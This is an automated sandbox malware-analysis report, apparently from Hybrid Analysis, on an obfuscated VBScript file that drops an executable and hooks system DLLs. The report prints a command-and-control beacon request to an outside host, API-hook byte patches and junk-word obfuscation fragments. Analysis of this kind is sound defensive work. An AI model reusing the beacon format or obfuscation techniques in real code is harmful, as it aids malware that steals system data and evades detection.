  "wscript.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at EB830000
  
  source
  
  Loaded Module
Installation/Persistance
- Dropped files
  
  details
  
  "TableOfColors.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  
  source
  
  Extracted File
  
  relevance
  
  3/10
- Drops executable files
  
  details
  
  "TableOfColors.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"
  
  source
  
  Extracted File
  
  relevance
  
  10/10
- Touches files in the Windows directory
  
  details
  
  "wscript.exe" touched file "%WINDIR%\System32\wshom.ocx"
  "wscript.exe" touched file "C:\Windows\System32\msxml6r.dll"
  "wscript.exe" touched file "C:\Windows\System32\wbem\wbemdisp.tlb"
  "wscript.exe" touched file "C:\Windows\System32\stdole2.tlb"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll"
  "wscript.exe" touched file "C:\Windows\System32\WScript.exe.config"
  "wscript.exe" touched file "C:\Windows\System32\wscript.exe"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CONFIG\machine.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config"
  "wscript.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch"
  "wscript.exe" touched file "C:\Windows\assembly\NativeImages_v2.0.50727_64\index32d.dat"
  
  source
  
  API Call
  
  relevance
  
  7/10
Network Related
- Found potential URL in binary/memory
  
  details
  
  Heuristic match: "b.kitchencabinetryprofessionals.com"
  Heuristic match: "GET /ushaudhsauhds.png?uid=TQBpAGMAcgBvAHMAbwBmAHQAIABXAGkAbgBkAG8AdwBzACAANwAgAFAAcgBvAGYAZQBzAHMAaQBvAG4AYQBsACAA HTTP/1.1
  Connection: Keep-Alive
  Accept: */*
  Accept-Language: en-us
  User-Agent: FoxKids
  Host: b.kitchencabinetryprofessionals.com"
  
  source
  
  String
  
  relevance
  
  10/10
- HTTP request contains Base64 encoded artifacts
  
  details
  
  "Microsoft Windows 7 Professional "
  
  source
  
  Network Traffic
  
  relevance
  
  7/10
  
  ATT&CK ID
  
  T1132 (Show technique in the MITRE ATT&CK™ matrix)
Spyware/Information Retrieval
- Found a reference to a known community page
  
  details
  
  "allegorised innless mundified maccaroni chint anesthetically dobbed well-beaten unpreclusively spritzes informalize nonrecuperative Herat Actipylea chordamesodermal congestible labiomancy isodynamical fruitgrower amidomyelin trouserian quadrigae rosing dissentingly Milovan undomiciled matin close-gleaning archmocker Wrentham byzants tavernlike straight-barred doab palet albescence yaxche scholiums teaseled Wirral gum-shrub worse-mannered unrelievedly indisposition bardiness indistinguishable Strumella twitter-twatter crevassed South proto touchers urgence postpyramidal indexing autosender Keats exolemma Uvalda reengaged nonextractive uster phlegmatist military preputium Quelpart entrance promotability subpatronal encephalo- gastrodermal amputative shallow-witted porcelanous seigneur Larimer running Nonna cladophyll electrotonize plasmocytoma peucyl monoacetin linens adjutrice gorfly deactivators employers sockeye Post-phidian quoiting aphotaxis stag-eyed archeology pseudoaccidentally ghastful Coyle tear-eased" (Indicator: "twitter")
  "eanly releve unconceiving periostotomy Newgate offended scintler basitemporal heartshake gypsters purgatory leukemias Kendyl quietuses gladelike oversoar epipetalous fauntleroy stalwart accite scrieving deflexibility Nickieben squinnying priesteen gags outwitter trugs concubinaries predications jitteriness yellow-ripe awfullest cinque Selkirk myoblasts wind-fast rewear blood-suck episodal Torino arreptitious microspore
  zUmQYkEzvAkoNHfxTXkaJOX=wUsNiyaZCbSCvTeEiRwMQoUxyz(i)
  lHGtOldVbVfIaKDrWIwRQwjh=Atn(JztuzXKhdMJEHiqBPtVtHAXEBPVLPQIG)" (Indicator: "twitter")
  "rish nonscandalous crummed bistable northest keelivine grinningly glyceric sorra audiologies twitterer untruckling republishment bubingas Sunda roman-fleuve microsurgical Peotone basted quasi-medically cotton-backed overanxiously quinqueloculine subtopia Zygaena undrape Marrero perchromic annoyer brain-injured opposit distiller litorinoid floatman Zinnes untone illnature endognathion Brahmin phaseolunatin tunbellied scabbier TMV ecosystem catathymic Actinopteri Bois-le-Duc well-pensioned Himeros uratic Andres postresurrection Carpet klam valvelike lush reindoctrination swam proscapular sejero Norway rollick handcar unskilledly orcinols sapphireberry anarcho-syndicalist ssed taunt green-tipped prostatorrhea decretory Roxboro punctual tarmi Blandville firsts bison intechnicality messages weather-fend bovid thorn-apple groundnut fibrinemia outstood squeakers Fernas visuopsychic triggerman counterculturist heaven-wide intertrochanteric cartages acinary outmeasure ungibbet slaughter-breathing ophthalmious overholy" (Indicator: "twitter")
  "ged achenia lapwork diplomatically Unifolium smackful moonlighty bacteriologic statuelike low-camp peptogen professing salinization replotting fundamentalists parthenocarpelly sensations willy-willy autonegation Doi antiwit sugar-yielding whimsey Amorita buffooneries Lemberg Gibsland jungles cavillation exceedable center-sawed polonium reggae celtiform retruse God-taught austerely outwitter Menfro unmete twills meltingness Zygocactus hard-drawn five-mile Bladon decompressions precosmically mesosuchian astrologaster favouredness Martsen torcular ticktock convex-concave prio unludicrousness epiglottises Resurrection underbelly cuarenta semi-chorus mole-catching spike-billed clarifiant Ergane fiscal nunbird untried Jamestown sun-dry Zn dialled raggled scoffingstock lipomas Pevsner well-concentrated stereotypes Doralynn autoconvection wisest paranomia execrates silicifluoride oxyhalide Cactaceae tieing prefocusing snow-whitened gussets hebraists boundary-marking Brooker unmuffled Riddle Lneburg forcipes anunder r" (Indicator: "twitter")
  "trably pseudobankrupt Tarsipes unhoarded PDI uninhaled sewerlike defect infertile psychoacoustic outwake tomcatted many-languaged artificiality tire-mile momser oxamid incontaminateness unibasal Sorcha acetonaemia pentamethylene Silverts counterpull devaunt redcap Uredineae half-civil seaquake quadruplate unstubborn naphthamine sensationalising diploidion Vorticellidae bravers questionniares antimartyr silken-shining nurserys buzzes photolithographically fly-strike cleavages clean-minded lodger camleting metalined squirmed rose-tinted Scirophorion saddlebow nonsingular cairds veristic braseros Englify nonthinker twitterboned exalt baptistery Alas unsultry diageotropy aldamine Tonina Catrina bowdlerizer ologistic splanchnodiastasis dorsolumbar umbel moroccans reattire pseudoexperimentally phosphation bandikai soft-smiling vulnerabilities around magnesic Reames gendering reifying jerfalcon vandalism keratoangioma billable incorporable Latium flinting Pan-Slavism dew-fall LOI suaveness bestiarist archibenthal fr" (Indicator: "twitter")
  "disseizor subtilizing Hypsiprymnodontinae highballing gutsily symbiotism catwalks terrorists spectrometers Brosimum nursling Non-spanish concreting marble-paved disfellowship strabometer outguard unperversive coadventure endexine dentate-ciliate grapeflower f.s. magani Esidrix acrophony nonsolar Mun brachioradialis nonratifying sublanceolate seducing film-free embodier Mendelian unbed Lodz monoptote subsensible twitterly millicron sorn steeple-high sulka omnitolerant peloid fibrillar strate extrasensorial fannel desmopathy neckbands lute-backed divisive peesash inherence alumines malesherbiaceous pts minister laboriousness Herbst arbory wise-judging immunologists half-sister subpalmate multilobe remurmur large-caliber scirocco hederic telemanometer undrapes histotomies orchidist desight hallicet misplaces cee rejoicers procollegiate progressed dundees protractive Baxy dislip affrightedly Nauru oculopupillary nonwarranted drachms Cynical world-swallowing yellowlegs mopeier chloropicrin nicotia Ghardaia hydrox" (Indicator: "twitter")
  "giitis blind-tooled symphytic phanerocodonic houseworkers vain myoneural gunreach trenchful trapmaker mantlepieces rhombenla biller Khan tarantas erythromycin plenishment ailurophilia hackster orphan goose-footed nonincorporated Tarim throwbacks reassessing hawaiians scrawk radiorays Vahe Conway fortuitus stuboy Meingolda marsileaceous roommates quaintish malikana coapt unexaggerable sumption rascalities narrow-fisted autochromy physicochemist oologic heterogamete disjune resubmission Booneville cryingly unsolemnize unsandalled emprises procreate photopositive unavailingness weightlifting unpresumptuousness Xhosa webelos microanalyses twitter casebook alinasal Trish unpatterned encroachment plouk gibberish Pollard bulkin remaps overaggressively similarities Rives semidull videtur chemosynthetic craftsmanship seleniums Hevelius blots starveacre ironstones scaleproof vestigium wiremaker imprecise cold-short decomposability bdelliums despoiled stereotypies intrapyretic Maro Saint-Laurent semihexagon jumbly Re. u" (Indicator: "twitter")
  "eux quasi-tragic noneducational reperks pardon laptops ingrossing rhagionid Vedist planks pulselessness dowl defendable thrusher affectionately Wileyville intervertebral farreachingly birth nondeflective composable sea-spider antimission prerealizing bittern well-trimmed Iraqi jackslave battalions thalassographer undersighted squiredom Cymbella tranq sonnies unbulky caribbeans prohibitionism propinquities inlapidate option briered zanella moonsails MOUSE hawk-beaked Jesuitical star-bearing theocracy displays plenipotentiarize semiseriousness tumour Nick masculineness twittering force-ripe Zasuwa stonier acyloins nonharmoniousness lepadid pain-assuaging seniors
  oDSSRuKxnDKHkseHNWttEvLL=FnOERKQmrbtGBItyDjPxPWIT-oDSSRuKxnDKHkseHNWttEvLL
  
  'Weinreb Rijswijk froggery locomutation paleostyly bridleless pharmacology forgathered figure-head arsenal Semaeostomata Verile falcon-gentle phlebo- noncommiseration Solr quasi-forgetful bluesmen Lorient adventively chutist bluff-headed pyelectasis birde KY redissolubly unpr" (Indicator: "twitter")
  "ose euda belt-driven Sinopic underspending Cattima fatiguable lapidate regimes circumstantially picaras red-bellied haberdasheress inactivating disposer uveitis Zosteropinae cerebriformly twittery outscores Amravati cleaved Saharian leched boatyard hand-mindedness flopover nonobscurities bibliothecarial window-efficiency interruptible doni subplacental Kanchenjunga ametrous on-stage Cratinean encrypting Rjchard summarisable surfman seabeard undisorganized Kaibartha fizzier Jugatae binocularity pilot-fish Reave chawle Peng-hu coussinet pamprodactylism shortening butling third-world oratress hydroxytryptamine optional dizen undeluged undoubles Neelon utterest crosswort chalazae Good-King-Henries HPN Carrolls brake-van coifs amebula subness unbewitched hetmanship foliaging hoariness ancresses hypostomatous Manvil studbook witch-held Canandaigua antienvironmentalist hoppercar chap-money procaine girdingly unconvoyed Charlestown slabs grimy-handed cerfoil Proteus reharness sheltery rewarms endoappendicitis doubley" (Indicator: "twitter")
  "d twitter-twatter hyperparasitic superenergetic irrationals mythopoeia umbrose Ilsa quilted malingers crepidomata aud. uncongratulating stereotomy clinia double-branched chavicol Afrikaner wit-foundered unfranked may-bug Donalda specter-haunted spurtively guanays spoonwood immortelle hexosemonophosphoric facultys Jessean Dioscurian sheargrass buphthalmic guacacoa antiabrin lay-fee bagio crossette carvone Latif poisonmaker sillimanite saddlery tabacin routinism radectomy turmeric restriking horsehairs antienthusiastically bloodsheds artiodactylous personship unioid niche copyrights independencies cassate small-acred antibank precomplicating reshaping Eumycetes interregal prunell electromobilism parallelopiped topotype Bellatrix gimlets overqualifying amentula conceptualistic nycto- semipectinated Midian pathway queenlike monothalamian Kirtland pulicarious Tolu penis rasty six-shafted stern-featured reedbirds subramose neohexane vitremyte Pterodactylus sclerocornea calefactories deruinate ceintures Palaeostraca" (Indicator: "twitter")
  "odosobenzene departee sleetiest diplasiasmus analysable metastasizes nursle Yavar topsailite precongenial hempseeds hangup Sladen falsettos back-pedalled spiralled epiparasite diapnoe Pro-asian ESB kratogen Evarts rendzinas reisolated anti-Protestantism expugn troublemaker Andropogon anteri hyetal upchannel grazier uncontemned Scevo falchions self-creating Sueve chemospheric iridous softas tonsilar undergraining whimling reconciler stair-foot endoconidium behindsight Brockport morphetic thalamotomies nonsymmetry eleostearate ramulous RBE nucleoalbuminuria gremmies decurrently bluestone periegetic unfluttering Morecambe under-secretary differs homozygote criminogenic sturtion uninforming beshod zanjon twittered Heptameron modumite stereobatic nonexpediently Mariolatry late-come countermanifesto labilize Sonny certifiability BITS diagonial enrange Kaduna Helvetia hutlet esse perimysium bangles Hesperia Hyperotreti ranket epagomenous jeopordizing bloodlust coexchangeable Coleosporiaceae Pardanthus unlust mesorrh" (Indicator: "twitter")
  "cal semifluctuating makara Diablo moonery levigable postumbonal alluvious encasement vexillological archbishops Nordstrom rememberer Satanael nondisparities golcondas princod agatize monetized nonimitation scepterless gynoecium choffer staphylodialysis Moradabad uncampaigning unwinsome AF unarraignable honor-fired ruly dopants magadis gigged twitterly auctioneers spatchcock mahogony considerateness criminogenesis equal-handed mirkest candlebeam irrisory Prem readmission Stropharia locomotory nonconformest melote peacock-voiced impenetrabilities overspilt sea-built Katangese outstriding rackrentable coleopteran clickety-click aftermath dictates lebhaft tear-pitying kahala unregulative theurgy MPC mantel-tree isorropic indocile Seagraves horse-mint holed scratchman Achaemenids disks typhons synanthetic mild-faced compaa heraldic phototrichromatic anteocular convey skimper-scamper effervesced Maretta unslicked thighed Dino rubber-headed practitioners mafficker induciae ombrology oleose Brenton soredioid lapputan" (Indicator: "twitter")
  
  source
  
  String
  
  relevance
  
  7/10
Unusual Characteristics
- Installs hooks/patches the running process
  
  details
  
  "wscript.exe" wrote bytes "48b8101636f4fe070000ffe0" to virtual address "0xFCBA1000" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F77AA" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "00100000" to virtual address "0xFCBB85A4" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF24F7A25" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF24F7A60" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "40130000" to virtual address "0xFCBB8478" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F7403" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F755E" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F7480" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "00100000" to virtual address "0xFCBB8468" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "40130000" to virtual address "0xFCBB8538" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "00100000" to virtual address "0xFEBD1748" (part of module "WS2_32.DLL")
  "wscript.exe" wrote bytes "0010bafcfe070000" to virtual address "0xFCBBFB18" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F74FB" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "48b8e01136f4fe070000ffe0" to virtual address "0xFEBA1000" (part of module "WS2_32.DLL")
  "wscript.exe" wrote bytes "0010bafcfe070000" to virtual address "0xFCBBFB50" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "4013bafcfe070000" to virtual address "0xFCBBFE48" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "4013bafcfe070000" to virtual address "0xFCBBFB10" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "65488b0425b8150000" to virtual address "0xF24F7A44" (part of module "MSCORWKS.DLL")
  "wscript.exe" wrote bytes "654c8b1c25b8150000" to virtual address "0xF24F743F" (part of module "MSCORWKS.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

MSG_308152.vbs

Filename: MSG_308152.vbs
Size: 5.1MiB (5381141 bytes)
Type: script vbs
Description: ASCII text, with very long lines
Architecture
: WINDOWS
SHA256
: cc46f26ef9752e9ff713dbcb332d7d40d6c048c5478282c30e14baeda5b02bfa

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 1 process in total.

wscript.exe "C:\MSG_308152.vbs" (PID: 2144)

Network Analysis

DNS Requests

HTTP Traffic

Suricata Alerts

ET rules applied using Suricata.

Extracted Files

Notifications

Although all strings were processed, some are hidden from the report in order to reduce the overall size
Not all sources for indicator ID "api-55" are available in the report
Not all sources for indicator ID "hooks-8" are available in the report
Not all sources for indicator ID "string-24" are available in the report
Not all sources for indicator ID "string-5" are available in the report
Not all strings are visible in the report, because the maximum number of strings was reached (5000)

Gracie Oaks Catawissa 5 Drawer Gentleman's Chest

Source: https://hybrid-analysis.com/sample/cc46f26ef9752e9ff713dbcb332d7d40d6c048c5478282c30e14baeda5b02bfa/5e56afc94b590e4ca1124a17